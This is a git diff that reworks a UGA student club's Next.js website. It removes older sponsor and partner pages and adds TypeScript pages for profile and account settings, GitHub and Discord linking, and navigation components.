+ Leadership
+
+
+
+ DevDogs is proud to consist of over 350 UGA students from all tech
+ disciplines and backgrounds. We firmly believe that different
+ perspectives breed the best solutions—and we think our work
+ shows!
+
+
+
+
+
+
+
+ 2025–2026 Executive Board
+
+
+
+
+
+
+
+
+
+
+ Spring 2026 Focus Leads
+
+
+
+
+
+
+
+ View Our Community
+
+
+
+
+
+ );
+}
diff --git a/src/app/partners/page.tsx b/src/app/partners/page.tsx
new file mode 100644
index 0000000..d761600
--- /dev/null
+++ b/src/app/partners/page.tsx
@@ -0,0 +1,5 @@
+import UnderConstruction from "~/components/UnderConstruction";
+
+export default async function Partners() {
+ return ;
+}
diff --git a/src/app/partners/sponsor-us/page.js b/src/app/partners/sponsor-us/page.js
deleted file mode 100644
index 58c9dae..0000000
--- a/src/app/partners/sponsor-us/page.js
+++ /dev/null
@@ -1,277 +0,0 @@
-"use client";
-
-import PageSubtitleTemplate from "@/app/components/PageSubtitleTemplate";
-import PageTitleTemplate from "@/app/components/PageTitleTemplate";
-import Image from "next/image";
-import Link from "next/link";
-import PaymentTierCard from "@/app/components/PaymentTierCard";
-import { useEffect, useState } from "react";
-
-export default function Page() {
- const Photos = [
- { image: "/GroupPhoto1.jpg" },
- { image: "/GroupPhoto2.jpg" },
- { image: "/GroupPhoto3.jpg" },
- { image: "/GroupPhoto4.jpg" },
- { image: "/GroupPhoto5.jpg" },
- { image: "/GroupPhoto6.jpg" },
- ];
-
- const [currentImageIndex, setCurrentImageIndex] = useState(0);
-
- useEffect(() => {
- const interval = setInterval(() => {
- setCurrentImageIndex((prevIndex) => (prevIndex + 1) % Photos.length);
- }, 10000); // Change image every 10 seconds
-
- return () => clearInterval(interval); // Cleanup interval on unmount
- }, []);
- const PaymentTiers = [
- {
- title: "Bronze - $600",
- image: "/ACMBackground.png",
- color: "#AD665C",
- link: "https://ugapac.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS:UGAARTS:TATE2425:DON.BRONZE:&linkID=ta-ugaarts&dataAccId=157&locale=en_US&siteId=ev_ta-ugaarts",
- },
- {
- title: "Silver - $1250",
- image: "/ACMBackground.png",
- color: "#D8BCBC",
- link: "https://ugapac.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS:UGAARTS:TATE2425:DON.BRONZE:&linkID=ta-ugaarts&dataAccId=157&locale=en_US&siteId=ev_ta-ugaarts",
- },
- {
- title: "Gold - $2500",
- image: "/ACMBackground.png",
- color: "#F9BD9B",
- link: "https://ugapac.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS:UGAARTS:TATE2425:DON.GOLD:&linkID=ta-ugaarts&dataAccId=157&locale=en_US&siteId=ev_ta-ugaarts",
- },
- {
- title: "Platinum - $5000",
- image: "/ACMBackground.png",
- color: "#C6C6C6",
- link: "https://ugapac.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS:UGAARTS:TATE2425:DON.PLATINUM:&linkID=ta-ugaarts&dataAccId=157&locale=en_US&siteId=ev_ta-ugaarts",
- },
- {
- title: "Custom Amount",
- image: "/ACMBackground.png",
- color: "#F08787",
- link: "https://ugapac.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS:UGAARTS:TATE2425:DON.CUSTOM:&linkID=ta-ugaarts&dataAccId=157&locale=en_US&siteId=ev_ta-ugaarts",
- },
- ];
-
- return (
-
-
-
-
-
-
-
-
- DevDogs is a non-profit club at the University of Georgia
- dedicated to benefiting our community through code. Each year,
- we work together to develop impactful software from concept to
- completion, learning real-world skills and industry-standard
- tech along the way.
-
-
-
-
-
- Since its start in May 2024, DevDogs has grown its community to
- over 430 members. With our campus outreach campaigns, we’re
- pleased to have brought in a diverse set of perspectives and
- specialties including UI designers, database managers, project
- managers, and developers. While our members differ in ideas,
- age, and experience, we’re united by the cause of building
- software with a purpose.
-
-
-
-
-
-
-
Download Brochure
-
-
-
-
-
-
{" "}
-
-
-
-
- Running a club is costly as-is, but UGA’s club expense
- restrictions are particularly challenging for technology clubs
- of our scale, which need more than $100 a year for equipment and
- SAAS payments.
-
-
- As a result, we’re asking for your help. No matter how small or
- large, your contribution will go to great lengths helping us
- achieve our mission. As a token of our thanks, we’re happy to
- provide a number of benefits to you or your company, visible
- below.
-
-
-
-
-
-
-
-
-
-
- {" "}
-
-
-
-
- Sponsor DevDogs Academy
-
{" "}
- for the school year - $1000
-
-
-
- Extra Workshop
-
{" "}
- - $750
-
-
-
- Extra Recruitment Session
-
{" "}
- - $500
-
-
-
- Extra Dev Session Sponsorship
-
{" "}
- - $400
-
-
-
- Extra Social Media Mention
-
{" "}
- - $100
-
-
-
-
-
-
-
-
-
-
- Don’t see something that works for you?
-
-
-
Contact Us
-
-
-
-
-
-
- {PaymentTiers.map((tier) => (
-
- ))}
-
-
-
-
- );
-}
diff --git a/src/app/projects/page.tsx b/src/app/projects/page.tsx
new file mode 100644
index 0000000..d62e95b
--- /dev/null
+++ b/src/app/projects/page.tsx
@@ -0,0 +1,5 @@
+import UnderConstruction from "~/components/UnderConstruction";
+
+export default async function Projects() {
+ return ;
+}
diff --git a/src/app/resources/page.js b/src/app/resources/page.js
deleted file mode 100644
index 69f452b..0000000
--- a/src/app/resources/page.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import ResourceList from "../components/ResourceList";
-
-const ResourcePage = () => {
- return (
-
-
-
- Resources
-
-
-
-
-
-
-
-
-
-
-
- );
-};
-
-export default ResourcePage;
diff --git a/src/app/settings/accounts/page.tsx b/src/app/settings/accounts/page.tsx
new file mode 100644
index 0000000..4959516
--- /dev/null
+++ b/src/app/settings/accounts/page.tsx
@@ -0,0 +1,142 @@
+import type { PropsWithChildren, ReactNode } from "react";
+import {
+ PiDiscordLogoBold,
+ PiGithubLogoBold,
+ PiLinkBreakBold,
+} from "react-icons/pi";
+import FormButton from "~/components/FormButton";
+import SettingsNavigation from "~/components/SettingsNavigation";
+import linkDiscordProfile from "~/server/actions/linkDiscordProfile";
+import linkGithubProfile from "~/server/actions/linkGithubProfile";
+import unlinkDiscordProfile from "~/server/actions/unlinkDiscordProfile";
+import unlinkGithubProfile from "~/server/actions/unlinkGithubProfile";
+import { expectSession } from "~/server/auth";
+
+interface Props extends PropsWithChildren {
+ linkProfileAction: (formData: FormData) => Promise;
+ unlinkProfileAction: () => Promise;
+ identifier?: string;
+ logo: ReactNode;
+ friendlyName: string;
+}
+
+function AccountCard({
+ linkProfileAction,
+ unlinkProfileAction,
+ identifier,
+ logo,
+ friendlyName,
+ children,
+}: Props) {
+ return (
+
+
+
{friendlyName}
+
+
{children}
+
+
+ {identifier ? (
+
+
+
+
+ Currently linked to{" "}
+
+ @{identifier}
+
+
+
+
+
+ Unlink Account
+
+
+ ) : (
+
+
+
+ No account linked.
+
+
+ {logo}
+ Sign in with {friendlyName}
+
+
+ )}
+
+
+ );
+}
+
+export default async function Settings() {
+ const session = await expectSession("/settings/accounts", {
+ user: {
+ with: {
+ discord: { columns: { username: true } },
+ github: { columns: { login: true } },
+ },
+ },
+ });
+
+ return (
+
+ }
+ identifier={session.user.github?.login}
+ linkProfileAction={linkGithubProfile}
+ unlinkProfileAction={unlinkGithubProfile}
+ >
+
+ DevDogs uses GitHub to manage source code and organize contributions.
+
+
+ Get access to this year’s project by linking your GitHub
+ account.
+
+
+ Don’t have a GitHub account? Don’t worry, it’s free!
+
+
+
+ }
+ identifier={session.user.discord?.username}
+ linkProfileAction={linkDiscordProfile}
+ unlinkProfileAction={unlinkDiscordProfile}
+ >
+
+ DevDogs uses Discord for communicating with members.
+
+
+ Get access to the DevDogs server by linking your Discord account.
+
+
+ It’s like Slack, but more laid-back.
+
+
+ Don’t have a Discord account? Don’t worry, it’s
+ free!
+
+
+
+ );
+}
diff --git a/src/app/settings/feedback/page.tsx b/src/app/settings/feedback/page.tsx
new file mode 100644
index 0000000..4086fbb
--- /dev/null
+++ b/src/app/settings/feedback/page.tsx
@@ -0,0 +1,12 @@
+import SettingsNavigation from "~/components/SettingsNavigation";
+import UnderConstruction from "~/components/UnderConstruction";
+import { expectSession } from "~/server/auth";
+
+export default async function Settings() {
+ await expectSession("/settings/feedback", {});
+ return (
+
+
+
+ );
+}
diff --git a/src/app/settings/keys/page.tsx b/src/app/settings/keys/page.tsx
new file mode 100644
index 0000000..8365b3b
--- /dev/null
+++ b/src/app/settings/keys/page.tsx
@@ -0,0 +1,21 @@
+import OAuthSecrets from "~/components/OAuthSecrets";
+import SettingsNavigation from "~/components/SettingsNavigation";
+import { expectSession } from "~/server/auth";
+
+export default async function Keys() {
+ const session = await expectSession("/settings/profile", {
+ oauthKey: {
+ columns: {
+ clientId: true,
+ },
+ },
+ });
+
+ return (
+
+
+
+ );
+}
diff --git a/src/app/settings/profile/page.tsx b/src/app/settings/profile/page.tsx
new file mode 100644
index 0000000..0fb425f
--- /dev/null
+++ b/src/app/settings/profile/page.tsx
@@ -0,0 +1,295 @@
+import { eq } from "drizzle-orm";
+import { revalidatePath } from "next/cache";
+import { unauthorized } from "next/navigation";
+import {
+ PiEnvelopeSimpleBold,
+ PiGithubLogoBold,
+ PiGlobeBold,
+ PiInstagramLogoBold,
+ PiLinkedinLogoBold,
+ PiUserBold,
+} from "react-icons/pi";
+import * as z from "zod";
+import * as zfd from "zod-form-data";
+import FormButton from "~/components/FormButton";
+import IconInput from "~/components/IconInput";
+import SettingsNavigation from "~/components/SettingsNavigation";
+import { expectSession, getSession } from "~/server/auth";
+import { db } from "~/server/db";
+import { publicProfiles, users } from "~/server/db/schema/tables";
+
+async function updatePreferredName(formData: FormData) {
+ "use server";
+
+ const session = await getSession({});
+
+ if (!session) {
+ unauthorized();
+ }
+
+ const { name } = await zfd
+ .formData({ name: zfd.text(z.string().max(32)) })
+ .parseAsync(formData);
+
+ await db
+ .update(publicProfiles)
+ .set({ name })
+ .where(eq(publicProfiles.userId, session.userId));
+
+ revalidatePath("/settings/profile");
+}
+
+async function updateEmail(formData: FormData) {
+ "use server";
+
+ const session = await getSession({});
+
+ if (!session) {
+ unauthorized();
+ }
+
+ await db
+ .update(publicProfiles)
+ .set(
+ await zfd
+ .formData({ email: zfd.text(z.email()).nullish().default(null) })
+ .parseAsync(formData),
+ )
+ .where(eq(publicProfiles.userId, session.userId));
+
+ revalidatePath("/settings/profile");
+}
+
+async function updateProfileUrl(formData: FormData) {
+ "use server";
+
+ const session = await getSession({});
+
+ if (!session) {
+ unauthorized();
+ }
+
+ await db
+ .update(publicProfiles)
+ .set(
+ await zfd
+ .formData({ portfolioUrl: zfd.text(z.url()).nullish().default(null) })
+ .parseAsync(formData),
+ )
+ .where(eq(publicProfiles.userId, session.userId));
+
+ revalidatePath("/settings/profile");
+}
+
+async function updateSocialMedia(formData: FormData) {
+ "use server";
+
+ const session = await getSession({});
+
+ if (!session) {
+ unauthorized();
+ }
+
+ await db
+ .update(publicProfiles)
+ .set(
+ await zfd
+ .formData({
+ linkedinUsername: zfd.text(
+ z
+ .string()
+ .regex(/[\w\.]{2,}/)
+ .optional(),
+ ),
+ githubUsername: zfd.text(
+ z
+ .string()
+ .regex(/[\w\.]{2,}/)
+ .optional(),
+ ),
+ instagramUsername: zfd.text(
+ z
+ .string()
+ .regex(/[\w\.]{2,}/)
+ .optional(),
+ ),
+ })
+ .parseAsync(formData),
+ )
+ .where(eq(publicProfiles.userId, session.userId));
+
+ revalidatePath("/settings/profile");
+}
+
+export default async function Settings() {
+ const session = await expectSession("/settings/profile", {
+ user: {
+ with: {
+ publicProfile: true,
+ github: { columns: { login: true } },
+ discord: { columns: { username: true } },
+ },
+ },
+ });
+
+ if (!session.user.viewedSettings) {
+ await db
+ .update(users)
+ .set({ viewedSettings: true })
+ .where(eq(users.id, session.userId));
+ }
+
+ return (
+
+
+
+
+
Preferred Name
+
+
+
+ This will be displayed publicly.
+ {" "}
+
+ We recommend using your full name.
+
+
+
+
}
+ placeholder={session.user.legalName.split(" ")[0]}
+ defaultValue={session.user.publicProfile.name}
+ minLength={1}
+ maxLength={32}
+ name="name"
+ type="text"
+ required
+ />
+
+
+
+ Please use 32 characters at maximum.
+
+
+
+ Save
+
+
+
+
+
+
+
+
+
Email
+
+ }
+ placeholder={session.user.ugaMyId + "@uga.edu"}
+ defaultValue={session.user.publicProfile.email ?? ""}
+ maxLength={254}
+ pattern="^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+\-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$"
+ name="email"
+ type="email"
+ />
+
+
+
+ Please use an email you check regularly.
+
+
+
+ Save
+
+
+
+
+
+
+
+
+
Portfolio Website
+
+ }
+ placeholder="https://devdogsuga.com"
+ defaultValue={session.user.publicProfile.portfolioUrl ?? ""}
+ maxLength={254}
+ name="portfolioUrl"
+ type="url"
+ />
+
+
+
+ Alternatively, use a download link for your resume.
+
+
+
+ Save
+
+
+
+
+
+
+
+
+
Social Medias
+
+ }
+ prefix="linkedin.com/in/"
+ placeholder={session.user.legalName
+ .replaceAll(/\W/g, "")
+ .toLocaleLowerCase()}
+ defaultValue={session.user.publicProfile.linkedinUsername ?? ""}
+ maxLength={32}
+ minLength={2}
+ pattern="[\w\.]{2,}"
+ name="linkedinUsername"
+ type="text"
+ />
+
+ }
+ prefix="instagram.com/"
+ placeholder={session.user.legalName
+ .replaceAll(/\W/g, "")
+ .toLocaleLowerCase()}
+ defaultValue={session.user.publicProfile.instagramUsername ?? ""}
+ maxLength={32}
+ minLength={2}
+ pattern="[\w\.]{2,}"
+ name="instagramUsername"
+ type="text"
+ />
+
+ }
+ prefix="github.com/"
+ placeholder={
+ session.user.github?.login ??
+ session.user.legalName.replaceAll(/\W/g, "").toLocaleLowerCase()
+ }
+ defaultValue={session.user.publicProfile.githubUsername ?? ""}
+ maxLength={32}
+ minLength={2}
+ pattern="[\w\.]{2,}"
+ name="githubUsername"
+ type="text"
+ />
+
+
+
+ Remember, these will be shared publicly.
+
+
+
+ Save
+
+
+
+
+
+ );
+}
diff --git a/src/app/sponsor/our-partners/page.js b/src/app/sponsor/our-partners/page.js
deleted file mode 100644
index 5cd7fd8..0000000
--- a/src/app/sponsor/our-partners/page.js
+++ /dev/null
@@ -1,161 +0,0 @@
-import PageTitleTemplate from "@/app/components/PageTitleTemplate";
-import Image from "next/image";
-import GDC from "@/app/images/GDGC_UGA.svg";
-import GDCBg from "@/app/images/GDCBackground.png";
-import KTPBg from "@/app/images/KTPBackground.png";
-import ACMBg from "@/app/images/ACMBackground.png";
-import EPIBg from "@/app/images/EpiBackground.png";
-import SOEBg from "@/app/images/SOEBackground.png";
-import UGAHacks from "@/app/images/UGAHacks.png";
-import KTP from "@/app/images/KTP.svg";
-import CSCI from "@/app/images/CSCI.svg";
-import SOE from "@/app/images/SOE.svg";
-import ACM from "@/app/images/ACM.svg";
-import Byte from "@/app/images/ByteX1.svg";
-import Link from "next/link";
-import EmblaCarousel from "@/app/components/EmblaCarousel";
-
-export default function page() {
- const OPTIONS = { loop: true };
- const imagesForCarousel = [
- {
- image: GDCBg,
- title: "Google Developer Groups on Campus: UGA",
- description:
- "GDGC UGA co-hosts their meetings with DevDogs, getting you in the Google sphere.",
- link: "https://gdg.community.dev/gdg-on-campus-university-of-georgia-athens-united-states/",
- },
- {
- image: KTPBg,
- title: "Kappa Theta Pi: Phi Colony",
- description:
- "KTP is UGA's first technology frat, developing the next generation of industry professionals",
- link: "https://ktpgeorgia.com/",
- },
- {
- image: ACMBg,
- title: "ACM @ UGA",
- description:
- "Every week, ACM hosts workshops discussing the latest technologies.",
- link: "https://acm-uga.github.io/",
- },
- {
- image: EPIBg,
- title: "Computer Science Career Initiative",
- description:
- "CSCI provides resources to assist students in their pursuit of a many technical fields.",
- link: "https://uga.campuslabs.com/engage/organization/csci",
- },
- {
- image: SOEBg,
- title: "Society of Entrepreneurs",
- description:
- "Learn from and connect with founders and business-savvy individuals at SOE's many events.",
- link: "https://www.soeuga.com/",
- },
- {
- image: UGAHacks,
- title: "UGA Hacks",
- description:
- "Every spring, UGA Hacks puts on a 3-day, 800+ person hackathon at MLC.",
- link: "https://ugahacks.com/",
- },
- ];
- return (
-
-
-
- DevDogs is proud to be affiliated with
-
-
-
-
-
-
- DevDogs co-hosts its meetings with Google Developer Groups on Campus:
- UGA, providing Google recognition to contributors, merchandise, and a
- network of incredible people just like you.
-
-
-
-
-
Campus
- Affiliates
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- );
-}
diff --git a/src/app/sponsor/our-sponsors/page.js b/src/app/sponsor/our-sponsors/page.js
deleted file mode 100644
index 67110a2..0000000
--- a/src/app/sponsor/our-sponsors/page.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import DirectMessageForm from "../../components/DirectMessageForm";
-import PageTitleTemplate from "../../components/PageTitleTemplate";
-import SocialsAndContact from "../../components/SocialsAndContact";
-
-const Page = () => {
- return (
-
- );
-};
-
-export default Page;
diff --git a/src/app/sponsor/page.js b/src/app/sponsor/page.js
deleted file mode 100644
index 5c2795a..0000000
--- a/src/app/sponsor/page.js
+++ /dev/null
@@ -1,71 +0,0 @@
-import Link from "next/link";
-import SponsorshipCard from "../components/SponsorshipCard";
-import Button from "../components/Button";
-
-const SponsorNow = () => {
- return (
-
-
-
-
-
-
-
-
-
- Select a Tier
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- );
-};
-
-export default SponsorNow;
diff --git a/src/app/sponsor/sponsor-us/page.js b/src/app/sponsor/sponsor-us/page.js
deleted file mode 100644
index 06e85b2..0000000
--- a/src/app/sponsor/sponsor-us/page.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import DirectMessageForm from "../../components/DirectMessageForm";
-import PageTitleTemplate from "../../components/PageTitleTemplate";
-import SocialsAndContact from "../../components/SocialsAndContact";
-
-const Page = () => {
- return (
-
- );
-};
-
-export default Page;
diff --git a/src/assets/BackendDiscussion.jpg b/src/assets/BackendDiscussion.jpg
new file mode 100644
index 0000000..58bad3f
Binary files /dev/null and b/src/assets/BackendDiscussion.jpg differ
diff --git a/src/app/images/officers/anika.jpg b/src/assets/anika.png
similarity index 100%
rename from src/app/images/officers/anika.jpg
rename to src/assets/anika.png
diff --git a/src/assets/bg.png b/src/assets/bg.png
new file mode 100644
index 0000000..231dad1
Binary files /dev/null and b/src/assets/bg.png differ
diff --git a/src/assets/devdog.png b/src/assets/devdog.png
new file mode 100644
index 0000000..bf2392a
Binary files /dev/null and b/src/assets/devdog.png differ
diff --git a/src/app/images/officers/jack.jpg b/src/assets/jack.jpg
similarity index 100%
rename from src/app/images/officers/jack.jpg
rename to src/assets/jack.jpg
diff --git a/src/app/images/officers/kade.jpg b/src/assets/kade.jpg
similarity index 100%
rename from src/app/images/officers/kade.jpg
rename to src/assets/kade.jpg
diff --git a/src/app/images/officers/maya.jpg b/src/assets/maya.jpg
similarity index 100%
rename from src/app/images/officers/maya.jpg
rename to src/assets/maya.jpg
diff --git a/src/assets/nandan.jpg b/src/assets/nandan.jpg
new file mode 100644
index 0000000..145a55e
Binary files /dev/null and b/src/assets/nandan.jpg differ
diff --git a/src/assets/rayan.jpg b/src/assets/rayan.jpg
new file mode 100644
index 0000000..b7e86cf
Binary files /dev/null and b/src/assets/rayan.jpg differ
diff --git a/src/assets/samantha.jpg b/src/assets/samantha.jpg
new file mode 100644
index 0000000..cde4995
Binary files /dev/null and b/src/assets/samantha.jpg differ
diff --git a/src/app/images/officers/sloan.jpg b/src/assets/sloan.jpg
similarity index 100%
rename from src/app/images/officers/sloan.jpg
rename to src/assets/sloan.jpg
diff --git a/src/assets/zayan.jpg b/src/assets/zayan.jpg
new file mode 100644
index 0000000..9eeb114
Binary files /dev/null and b/src/assets/zayan.jpg differ
diff --git a/src/components/Avatar.tsx b/src/components/Avatar.tsx
new file mode 100644
index 0000000..727adaa
--- /dev/null
+++ b/src/components/Avatar.tsx
@@ -0,0 +1,21 @@
+import { Fallback, Image, Root } from "@radix-ui/react-avatar";
+import type { publicProfiles } from "~/server/db/schema/tables";
+
+export default function Avatar(profile: typeof publicProfiles.$inferSelect) {
+ return (
+
+
+
+ {profile.name
+ ?.split(" ")
+ .map((name) => name.substring(0, 1))
+ .join("")
+ .toUpperCase() ?? ""}
+
+
+ );
+}
diff --git a/src/components/CopyInput.tsx b/src/components/CopyInput.tsx
new file mode 100644
index 0000000..6ecbe14
--- /dev/null
+++ b/src/components/CopyInput.tsx
@@ -0,0 +1,78 @@
+"use client";
+
+import { useState, useCallback, useEffect, type FocusEvent } from "react";
+import {
+ PiCopyBold,
+ PiCircleNotchBold,
+ PiCheckBold,
+ PiXBold,
+} from "react-icons/pi";
+
+interface Props {
+ value: string;
+ disabled?: boolean;
+}
+
+export default function CopyInput({ value, disabled }: Props) {
+ const [copyState, setCopyState] = useState<
+ "pristine" | "pending" | "success" | "failure"
+ >("pristine");
+
+ const handleCopy = useCallback(() => {
+ if (disabled) {
+ return;
+ }
+
+ setCopyState("pending");
+
+ navigator.clipboard
+ .writeText(value)
+ .then(() => {
+ setCopyState("success");
+ })
+ .catch((error) => {
+ console.error(error);
+ setCopyState("failure");
+ });
+ }, [disabled, value]);
+
+ const handleFocus = useCallback((e: FocusEvent) => {
+ e.currentTarget.setSelectionRange(0, -1, "none");
+ }, []);
+
+ useEffect(() => {
+ if (copyState === "success" || copyState === "failure") {
+ const timeout = setTimeout(() => {
+ setCopyState((cs) =>
+ cs === "success" || cs === "failure" ? "pristine" : cs,
+ );
+ }, 2000);
+ return () => clearTimeout(timeout);
+ }
+ }, [copyState]);
+
+ return (
+
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/src/components/Countdown.tsx b/src/components/Countdown.tsx
new file mode 100644
index 0000000..1fab7cb
--- /dev/null
+++ b/src/components/Countdown.tsx
@@ -0,0 +1,49 @@
+"use client";
+
+import { differenceInSeconds, isAfter } from "date-fns";
+import { useEffect, useState } from "react";
+
+interface Props {
+ until: Date;
+}
+
+export default function Countdown({ until }: Props) {
+ const [countdown, setCountdown] = useState();
+
+ useEffect(() => {
+ const interval = setInterval(() => {
+ const now = new Date();
+ const difference = isAfter(until, now)
+ ? differenceInSeconds(until, now)
+ : 0;
+
+ const days = Math.floor(difference / 60 / 60 / 24);
+ const hours = Math.floor((difference / 60 / 60) % 24);
+ const minutes = Math.floor((difference / 60) % 60);
+ const seconds = Math.floor(difference % 60);
+ let str = "";
+
+ if (days > 0) {
+ str += `${days} day${days !== 1 ? "s" : ""}, `;
+ }
+
+ if (days > 0 || hours > 0) {
+ str += `${hours} hour${hours !== 1 ? "s" : ""}, `;
+ }
+
+ if (days > 0 || hours > 0 || minutes > 0) {
+ str += `${minutes} minute${minutes !== 1 ? "s" : ""}${hours > 0 ? "," : ""} and `;
+ }
+
+ if (days > 0 || hours > 0 || minutes > 0 || seconds > 0) {
+ str += `${seconds} second${seconds !== 1 ? "s" : ""}`;
+ }
+
+ setCountdown(str);
+ }, 1000);
+
+ return () => clearInterval(interval);
+ }, [until]);
+
+ return countdown;
+}
diff --git a/src/components/Footer.tsx b/src/components/Footer.tsx
new file mode 100644
index 0000000..a961c5e
--- /dev/null
+++ b/src/components/Footer.tsx
@@ -0,0 +1,169 @@
+import Image from "next/image";
+import Link from "next/link";
+import {
+ PiGithubLogoBold,
+ PiInstagramLogoBold,
+ PiLinkedinLogoBold,
+} from "react-icons/pi";
+import devdog from "~/assets/devdog.png";
+
+export default function Footer() {
+ return (
+
+ );
+}
diff --git a/src/components/FormButton.tsx b/src/components/FormButton.tsx
new file mode 100644
index 0000000..b06339c
--- /dev/null
+++ b/src/components/FormButton.tsx
@@ -0,0 +1,31 @@
+"use client";
+
+import type { DetailedHTMLProps, ButtonHTMLAttributes } from "react";
+import { useFormStatus } from "react-dom";
+import { PiCircleNotchBold } from "react-icons/pi";
+
+export default function FormButton({
+ children,
+ className,
+ disabled,
+ ...props
+}: DetailedHTMLProps<
+ ButtonHTMLAttributes,
+ HTMLButtonElement
+>) {
+ const { pending } = useFormStatus();
+
+ return (
+
+
+
+
+ {children}
+
+ );
+}
diff --git a/src/components/IconInput.tsx b/src/components/IconInput.tsx
new file mode 100644
index 0000000..3103ed7
--- /dev/null
+++ b/src/components/IconInput.tsx
@@ -0,0 +1,34 @@
+import type { DetailedHTMLProps, InputHTMLAttributes, ReactNode } from "react";
+
+interface Props extends Omit<
+ DetailedHTMLProps, HTMLInputElement>,
+ "prefix"
+> {
+ icon: ReactNode;
+ prefix?: ReactNode;
+}
+
+export default function IconInput({
+ icon,
+ prefix,
+ className,
+ ...inputProps
+}: Props) {
+ return (
+
+
+ {icon}
+
+
+ {prefix}
+
+
+
+ );
+}
diff --git a/src/components/LinkButton.tsx b/src/components/LinkButton.tsx
new file mode 100644
index 0000000..891ae22
--- /dev/null
+++ b/src/components/LinkButton.tsx
@@ -0,0 +1,14 @@
+import Link from "next/link";
+import type { ComponentProps } from "react";
+
+export default function LinkButton({
+ className,
+ ...props
+}: ComponentProps) {
+ return (
+
+ );
+}
diff --git a/src/components/Navigation/AlertBanner.tsx b/src/components/Navigation/AlertBanner.tsx
new file mode 100644
index 0000000..edcdb78
--- /dev/null
+++ b/src/components/Navigation/AlertBanner.tsx
@@ -0,0 +1,87 @@
+import * as Collapsible from "@radix-ui/react-collapsible";
+import Link from "next/link";
+import { PiArrowRightBold, PiXBold } from "react-icons/pi";
+import isBetween from "~/lib/isBetween";
+import linkGithubProfile from "~/server/actions/linkGithubProfile";
+import Countdown from "../Countdown";
+import { useMemo } from "react";
+
+interface Props {
+ linkedGithubProfile: boolean;
+ streak: {
+ length: number;
+ renewalStart: Date;
+ renewalCutoff: Date;
+ } | null;
+}
+
+export default function AlertBanner({ linkedGithubProfile, streak }: Props) {
+ const streakExpiresSoon = useMemo(
+ () =>
+ !!streak &&
+ isBetween([streak.renewalStart, streak.renewalCutoff], new Date()),
+ [streak],
+ );
+
+ return (
+
+
+
+
+ {!linkedGithubProfile && (
+
+
+ Start Contributing by Linking your GitHub Account to DevDogs
+
+
+ Sign In with GitHub
+
+
+
+ )}
+ {streak && streakExpiresSoon && (
+ <>
+
+ Your{" "}
+
+ {streak.length} week streak
+ {" "}
+ expires in{" "}
+
+
+
+
+
+ Complete an Issue
+
+
+ >
+ )}
+
+
+
+
+
+
+
+ );
+}
diff --git a/src/components/Navigation/LinkInBio.tsx b/src/components/Navigation/LinkInBio.tsx
new file mode 100644
index 0000000..d833e5f
--- /dev/null
+++ b/src/components/Navigation/LinkInBio.tsx
@@ -0,0 +1,135 @@
+import Link from "next/link";
+import {
+ PiArrowRightBold,
+ PiLink,
+ PiDotsThreeVertical,
+ PiInstagramLogoFill,
+ PiGithubLogoFill,
+ PiLinkedinLogoFill,
+ PiEnvelopeSimpleFill,
+} from "react-icons/pi";
+import LinkButton from "~/components/LinkButton";
+import Share from "~/components/Share";
+
+export default function LinkInBio() {
+ return (
+
+
+
👋
+
+
+ Hey, we’re DevDogs, a club at UGA building
+
+
+ software with an impact. Join us below!
+
+
+
+
+
+
+ Join DevDogs!
+
+
+ Continue to Website
+
+
+
+
+
+
+
+
+ UGA Involvement Network Listing
+
+
+
+
+
+
+
+
+
+
Google DGC: UGA Listing
+
+
+
+
+
+
+
+
+
Focus Lead Interest Form
+
+
+
+
+
+
+
+
+
A-Team Interest Form
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/src/components/Navigation/ProfileMenu.tsx b/src/components/Navigation/ProfileMenu.tsx
new file mode 100644
index 0000000..1f34622
--- /dev/null
+++ b/src/components/Navigation/ProfileMenu.tsx
@@ -0,0 +1,127 @@
+import * as Menu from "@radix-ui/react-dropdown-menu";
+import Link from "next/link";
+import Marquee from "react-fast-marquee";
+import { PiConfettiBold, PiGearBold, PiSignOutBold } from "react-icons/pi";
+import Avatar from "~/components/Avatar";
+import signOut from "~/server/actions/signOut";
+import {
+ type githubProfiles,
+ type publicProfiles,
+} from "~/server/db/schema/tables";
+
+interface Props {
+ publicProfile: typeof publicProfiles.$inferSelect;
+ githubProfile: typeof githubProfiles.$inferSelect | null | undefined;
+ streak:
+ | {
+ length: number;
+ renewalStart: Date;
+ renewalCutoff: Date;
+ }
+ | null
+ | undefined;
+}
+
+export default function ProfileMenu({
+ publicProfile,
+ githubProfile,
+ streak,
+}: Props) {
+ const preventDefault = (e: Event) => e.preventDefault();
+
+ return (
+
+
+
+
+
+
+
+
+
+
+
+
+ {publicProfile.name}
+ Contributor
+
+
+
+
+ {githubProfile && (
+ <>
+
+
+ This Year
+
+
+ {githubProfile.currentYearPoints} points{" "}
+
+ (#{githubProfile.currentYearRanking})
+
+
+
+
+ {streak && (
+
+
+
+
+ {streak.length} Week Streak
+
+
+
+
+
+ )}
+
+
+
+ All Time
+
+
+ {githubProfile.allTimePoints} points{" "}
+
+ (#{githubProfile.allTimeRanking})
+
+
+
+
+ >
+ )}
+
+
+
+ Settings
+
+
+
+
+
+
+
+ Sign Out
+
+
+
+
+
+
+ );
+}
diff --git a/src/components/Navigation/index.tsx b/src/components/Navigation/index.tsx
new file mode 100644
index 0000000..cae3ff1
--- /dev/null
+++ b/src/components/Navigation/index.tsx
@@ -0,0 +1,195 @@
+"use client";
+
+import Image from "next/image";
+import Link from "next/link";
+import { usePathname, useSearchParams } from "next/navigation";
+import type { ComponentProps, PropsWithChildren, ReactNode } from "react";
+import { useCallback, useEffect, useMemo, useRef, useState } from "react";
+import {
+ PiArrowRightBold,
+ PiCalendarStarDuotone,
+ PiCodeDuotone,
+ PiHandshakeDuotone,
+ PiUsersThreeDuotone,
